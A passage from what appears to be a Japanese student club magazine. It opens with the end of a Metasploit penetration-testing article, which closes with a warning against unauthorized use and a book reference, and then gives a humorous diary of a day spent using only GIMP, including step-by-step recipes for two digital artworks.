検証してみたり、カスタムスクリプトを書いたりといったことも容易にできます。
今回のペネトレーションテストでは、オプション設定に LHOST と LPORT の
29
設定しかしていないことを考えると、Metasploit Framework のフレームワー
クとしての完成度の高さが伺えるでしょう。Metasploit Framework は今も
アップデートされ、さらなる発展を続けています。
Metasploit のようなペネトレーションテストツールは、我々が他のマシンに
攻撃するのを容易にします。しかし当然ながら、無許可で他人の環境に対して
実行すれば法に触れる可能性があります。実際に攻撃をしてみて、その危険さ
を体感するのは非常によいことなのですが、それはあくまでテスト環境で行う
場合の話です。我々がテストを行うときは、自分の管理する環境でのみ行う、と
いうことを忘れてはいけません。
参考文献
[1]
David Kennedy, Jim O’Gorman, Devon Kearns, Mati Aharoni 著
青山 一史, 秋山 満昭, 岩村 誠, 川古谷 裕平, 川島 祐樹, 辻 伸弘, 宮本久
仁男 監訳
「実践 Metasploit ―ペネトレーションテストによる脆弱性評価」
株式会社オライリー・ジャパン 発行, 2012 年
30
GIMP で一日過ごす
定義
GIMP とは、フリーの画像編集ソフト、”The GNU Image Manipulation
Program”の略称である。
バージョンは 2.6.6。なお、最新版は 2.8.2 くらいである。
一日とは、10/21(日)のことである。この日は兼部している水泳部の追いコンが
あった。
ルール
PC 上で使って良いのは GIMP だけ。
いつも日曜に PC を使う時間帯には必ず起動している。
そんな一日
9:30
起床
9:35
ワンピース見る
~11:20
録りためた聖闘士星矢 Ω とか仮面ライダーとか見る
11:40
着替える、飯
12:00~
新喜劇見る
13:05
_人人 人人_
> PC 起動 <
 ̄Y^Y^Y^Y ̄
GIMP を起動
31
「ふだんはメールチェックとかの後適当にまとめサイトとか web 漫画とか見て暇
つぶしてる時間なんだけど、ブラウザ開けない。どうしよ?」
そうだ!
32
GIMP で芸術活動に勤しもう!
Ⅰ)マトリックスっぽいの.jpg
Adobe Creative Station Japan のカバー画像に選ばれたりした作品です。
(http://www.facebook.com/AdobeCreativeStation.jp/app_31935934
4819404)
① キャンバスを作成。ここでは 782*160、背景は黒く塗りつぶす
② 新しく透明なレイヤーを作成。ブラシを”square (20x20) blur”、”大き さ 3.60”、”揺らぎ:量 5.0”、”グラデーションで描画(Neon Green)”に設定し、適当にばーっと描画する。
③ フィルタ>芸術的効果>織物をデフォルトの設定で適用。織物レイヤ ーのレイヤーモードを微粒取り出しに
④ 織物の下に新しい透明なレイヤーを作成。ブラシを”Sparks”に変え、
グラデーションを”Radial Rainbow H”に変更、サイズを小さくして、
さっきより広めにばーっと描画する。そのあと、フィルタ>ぼかし>
ガウシアンぼかしを、デフォルトの設定で適用。
⑤ 織物の上に新たなレイヤーを作成。ブレンドツールを使用。形状を放射
状にし、グラデーションを”Neon”系でいろいろ変えて何個かつくる。
⑥ ⑤のレイヤーを複製し、フィルタ>変形>一行おきに消すを、デフォル
トの設定で適用。⑤のレイヤーの透明度を 80 くらいにする。
完成!!(文字とかちょっと足しました。)
GIMP 楽しい……。鼻血出そう
この作品のポイントは、素材画像を全く使っていないことです。あとは、織物フィ
ルタ使った時に最初はレイヤーモード乗算としてレイヤーができるんですが、これ
を弄ることでちょっと違った雰囲気のものがつくれるというところです。
もう一点。実は GIMP2.8 だと、”square (20x20) blur”が見あたらないんです。
超カッコイイのに。しかも、”グラデーションで描画”とか”大きさを不規則変化”と
33
か設定できてたのが、2.8 ではプリセットされた動的特性から選ぶようになっちゃ
ったんです。もちろん、それはそれで違う表現が可能になるんですが。。。
ということで、完成画像↓
次!
Ⅱ)少女と銃と叶った夢.jpg
① My CG\素材\風景\マネキン.jpg を開く。(写真素材 足成 様より)
色>しきい値で、人形が良い感じで残るよう設定。
② My CG\素材\風景\拳銃.jpg をレイヤーとして開く。(morgue File 様 より)
③ 大きさを調整し、色>しきい値で銃が残るよう調整。色>色を透明度
34
に(色は白)を適用し、銃だけを矩形選択で囲んで、選択範囲を反転し
て、編集>消去(Del キーでも OK)。
④ レイヤー>レイヤーを自動切り抜き を適用し、回転ツール、移動ツー
ルでマネキンの首の下へ
⑤ My CG\素材\風景\青いバラ.jpg をレイヤーとして開く。
⑥ スタンプツールを設定。適当にかっこいいブラシを使う。(デフォルト
では入っていないので、ダウンロードしてくるか購入する。今回は”フ
リカケ素材集 MAXX”という書籍に附属するブラシを使用した。)
スタンプソースの“レイヤー結合色”にチェックを入れる。
⑦ 青いバラレイヤーを一番上にし、透明なレイヤーを作成。マネキンレイ
ヤーを非表示に。青いバラレイヤー上で ctrl+クリックして、描画を開
始。ドラッグと連打を使い分けることで、メリハリをつける。
⑧ マネキンレイヤーを一番上にし、レイヤーモードを”覆い焼き”に設定
完成!!
35
こんな素敵な画像が一瞬で!イタさがにじみ出てるわ~
ではこれから、GIMP のテキストツールで部誌の原稿書くので失礼します。今日
Word 使えないんで。〆切当日なんで。
15:00
追いコンに出発。部誌終わってない
以下ギャラリー。作ったけどスペースの関係上作り方割愛したもの
36
37
38
39
40
21:30
帰宅、風呂
23:00
GIMP 起動、部誌書き始める。←Now!
24:00 までに書き終わらないと怒られます。
作品に関する質問などございましたら、[email protected] までお便り下さい。pixiv
上ではいろべ、loftwork では tosunny という名前で活動しているのでそちらも
よろしくお願いします。
使用した画像の URL:
マネキン:http://www.ashinari.com/2011/10/11-351353.php?
category=374
銃:不明
青いバラ:http://www.ashinari.com/2010/11/07-341831.php?
category=309
41